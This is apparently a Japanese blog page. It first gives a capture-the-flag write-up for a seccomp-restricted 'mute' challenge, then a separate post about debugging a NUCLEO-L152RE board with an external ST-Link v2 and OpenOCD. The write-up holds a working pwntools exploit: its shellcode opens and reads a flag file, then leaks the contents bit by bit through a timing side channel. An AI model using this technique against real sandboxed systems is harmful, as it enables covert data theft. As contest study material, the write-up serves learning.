    • 下のような感じで、そこに併記したシステムコールだけが許可されている(面倒なのでltraceから推測)
  • パケットのペイロードが来る度に、先頭アドレスから書き込むような挙動をする。0x100ごとに繰り返し送ると動く
seccomp_init(0, 0x7ffff7bb99e0, 0, -1)       = 0x602010
seccomp_arch_add(0x602010, 0xc000003e, 0x602060, 1) = 0xffffffef
seccomp_rule_add(0x602010, 0x7fff0000, 0, 0) = 0        read
seccomp_rule_add(0x602010, 0x7fff0000, 2, 0) = 0        open
seccomp_rule_add(0x602010, 0x7fff0000, 3, 0) = 0        close
seccomp_rule_add(0x602010, 0x7fff0000, 4, 0) = 0        stat
seccomp_rule_add(0x602010, 0x7fff0000, 5, 0) = 0        fstat
seccomp_rule_add(0x602010, 0x7fff0000, 6, 0) = 0        lstat
seccomp_rule_add(0x602010, 0x7fff0000, 7, 0) = 0        poll
seccomp_rule_add(0x602010, 0x7fff0000, 8, 0) = 0        lseek
seccomp_rule_add(0x602010, 0x7fff0000, 9, 0) = 0        mmap
seccomp_rule_add(0x602010, 0x7fff0000, 10, 0) = 0       mprotect
seccomp_rule_add(0x602010, 0x7fff0000, 11, 0) = 0       mumap
seccomp_rule_add(0x602010, 0x7fff0000, 12, 0) = 0       brk
seccomp_rule_add(0x602010, 0x7fff0000, 59, 0) = 0       execve
seccomp_load(0x602010, 0, 0, 0)              = 0

アプローチ

  • writeができないので、動作をもとにflagを1ビットずつリークする
    • 朝5時にサーバーが空き始めてきれいに解けた!

エクスプロイトコード

アセンブリの通り。

/home/mute/flagをlseekを駆使して1ビットずつ読み出す。1だったら通信時間が長くなるようにループを実行する。

from pwn import *
from sys import argv
import os
import struct
import time

BIN = "./mute"

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

REMOTE = False
if len(argv) > 1:
    if argv[1] == "r":
        REMOTE = True

READ_OFFSET = "0"
BIT_MASK = "0xff"
if REMOTE and len(argv) > 2:
    READ_OFFSET = argv[2]
    BIT_MASK = argv[3]
if not REMOTE and len(argv) > 1:
    READ_OFFSET = argv[1]
    BIT_MASK = argv[2]

def leak(READ_OFFSET, BIT_MASK):
    global BIN
    
    log.info("READ_OFFSET = " + READ_OFFSET)
    log.info("BIT_MASK = " + BIT_MASK)

    r = None
    offset = {}
    if REMOTE:
        r = remote("mute_9c1e11b344369be9b6ae0caeec20feb8.quals.shallweplayaga.me", 443)
    else:
        r = process(BIN)

    r.recvline()

    if REMOTE:
        LOOP_AMOUNT = "0x10000000"
    else:
        LOOP_AMOUNT = "0x100000000"

    shellcode = asm("""
        push 0x0
        mov rax, 0x67616c662f657475
        push rax
        mov rax, 0x6d2f656d6f682f2f
        push rax

        push rsp
        pop rdi
        mov rsi, 0
        mov rdx, 0
        mov rax, 2
        syscall

        push rax
        mov rdi, rax
        mov rsi, READ_OFFSET
        mov rdx, 0
        mov rax, 8
        syscall   

        pop rax
        mov rdi, rax
        mov rsi, 0x00601100
        mov rdx, 1
        mov rax, 0
        syscall
        
        mov rax, [0x00601100]
        and rax, BIT_MASK

        cmp rax, 0
        jg end
        mov rax, LOOP_AMOUNT
        loop:
        dec rax
        cmp rax, 0
        jne loop
        end:
        """.replace("READ_OFFSET", READ_OFFSET).replace("BIT_MASK", BIT_MASK).replace("LOOP_AMOUNT", LOOP_AMOUNT), arch = 'amd64', os = 'linux') 

    # bp()
    # context.log_level = 'debug'

    start_time = time.time()
    # r.send(shellcode.ljust(0x1000, "\x90"))
    for i in range(0x10):
        r.send(shellcode.ljust(0x100, "\x90"))

    try:
        r.recv(0x1000)
    except EOFError:
        end_time = time.time()
        elapsed_time = end_time - start_time
        log.info("Connection Closed")
        print "elapsed time = %f" % elapsed_time   
        r.close()
        return elapsed_time

LOG_FILE_NAME = "bit-%d.log"
if REMOTE:
    LOG_FILE_NAME = "r-"+LOG_FILE_NAME
else:
    LOG_FILE_NAME = "l-"+LOG_FILE_NAME
f = open(LOG_FILE_NAME % time.time(), "w")
for i in range(0x0, 0x90):
    for j in range(8):
        elapsed_time = leak(hex(i), hex(1 << j))
        f.write("%d, %d, %f\n" % (i, j, elapsed_time))
        f.flush()
        time.sleep(1)
f.close()

計測結果をフラグ化するスクリプト。フラグが思ったより長くてログを結合するはめに。

data = []
with open("r-bit-1493583250.log") as f:
    data = f.read().strip().split("\n")

with open("r-bit-1493584813.log") as f:
    data += f.read().strip().split("\n")

with open("r-bit-1493585321.log") as f:
    data += f.read().strip().split("\n")

flag = []
for i in range(0x90):
    flag.append(list("0b00000000"))

threthold = 0.5

for x in data:
    i, j, t = x.split(',')
    i, j, t = int(i), int(j), float(t)
    if t < threthold:
        flag[i][-(j+1)] = "1"

buf = ""
for i in range(0x90):
    # print ''.join(flag[i])
    d = int(''.join(flag[i]), 2)
    buf += chr(d & 0xff)
print buf

結果

vagrant@vagrant-ubuntu-trusty-64:/vagrant/mute$ python log2flag.py 
The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa

floatを解きたかったです。IEEE 754形式の32ビット浮動小数群が実行可能領域に格納されて、それを実行するキ○ガイな問題です。ゼロが入っちゃってどうすればいいのかよく分からなかったです。

手元で実行できないバイナリが配布される問題がいくつかあったんですけど、なんだったんですかね。

来年は200点ぐらいとりたいですねー。(果たしてどのチームで出ることになるのやら…)

NUCLEO-L152REにわざわざST-Link v2を接続してOpenOCDで接続してみた

NUCLEO-L152REにはオンボードでST-Link v2が搭載されているため、ST-Link v2のようなUSB JTAG/SWDデバッガは必要ありません。

akizukidenshi.com

今回はわざわざST-Link v2をデバッガ、NUCLEO-L152REをターゲットとして、OpenOCDを使ってみたいという試みです。 この試みには有益性が全く無いですが、はまりどころがあったのでブログに残しておきます。

OpenOCDはgit版を使っています。

K_atc% openocd -v
Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html

ピン接続

デバッガ側は、ST-LinkのSTM32と書かれた20ピンを使います。 ピンの割り当ては下の図のようになっています。

f:id:katc:20170424163240p:plain

図は ULINK2 User's Guide: Target Connectors より

Nucleo側はCN2(ST-Link)ピンに刺さっているジャンパーを外して、CN11、CN12に取り付けます。 ジャンパーを無くさないように設計されていてとてもいいですね〜

SWDの場合

f:id:katc:20170424162753p:plain

CN2を上から(USBポートがある方を上にする)ピン1、ピン2、ピン3、ピン4とします。 メスーメスのジャンパーコードを下表の対応関係で接続します。

Nucleo側 ST-Link側
1 1 (VCC)
2 9 (SWCLK)
3 4 (GND)
4 7 (SWDIO)

JTAGの場合(試行中)

CN4を上から(USBポートがある方を上にする)ピン1、ピン2、…、ピン6とします。 メスーメスのジャンパーコードを下表の対応関係で接続します。
※をつけたポートはCN2のポートを使用したほうがいいかもしれないです?(OpenOCDに target voltage may be too low for reliable debugging と怒られてしまう)

Nucleo側 ST-Link側
1 1 (VCC) ※
2 9 (JTCK) ※
3 4 (GND) ※
4 7 (TMS/JDIO) ※
5 3 (nRST)
6 13 (TDO/SWO)

OpenOCD

ダメな接続例:USB電源を2箇所からとる

openocdのどのスクリプトファイルを使えばいいのかわかりませんでした。 最初はオンボードのデバッガに接続してしまわないように、Nucleoの電源は別のPCからとっていました。 そしたらOpenOCDの起動時のチェックで、ターゲットの電圧が0Vだったり1.5V以下だったりしてエラーになりました。 GNDのレベルがST-LinkとNucleoで違うからなんでしょうね。

よい接続例:USBを同じところからとる

2本のUSBを同じPCに接続するということです。

OpenOCDのスクリプトファイル(-fオプションで渡すファイル)を次の要領で作成しました。 ベースのディレクトリはインストール先によって変わるかもしれません。

# openocd -s /usr/share/openocd/scripts -f interface/stlink-v2.cfg -f target/stm32l1.cfg
# でもよい。 [f:id:katc:20170424162753p:plain]
cat /usr/share/openocd/scripts/interface/stlink-v2.cfg /usr/share/openocd/scripts/target/stm32l1.cfg > stlink-v2-stm32l1.cfg

SWD/JTAGのどちらの場合も、cfgファイルが対応しているはずなのにjtagで接続できない…

あとはopenocdコマンドを叩いて、デバッガのランプが緑と赤で交互に点滅したら接続完了です。

[root@K_atc nucleo-l152re]# openocd -f stlink-v2-stm32l1.cfg 
Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html
Info : auto-selecting first available session transport "hla_swd". To override use 'transport select <transport>'.
adapter speed: 300 kHz
adapter_nsrst_delay: 100
Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD
none separate
Info : Unable to match requested speed 300 kHz, using 240 kHz
Info : Unable to match requested speed 300 kHz, using 240 kHz
Info : clock speed 240 kHz
Info : STLINK v2 JTAG v27 API v2 SWIM v6 VID 0x0483 PID 0x3748
Info : using stlink api v2
Info : Target voltage: 3.183191
Info : stm32l1.cpu: hardware has 6 breakpoints, 4 watchpoints

参考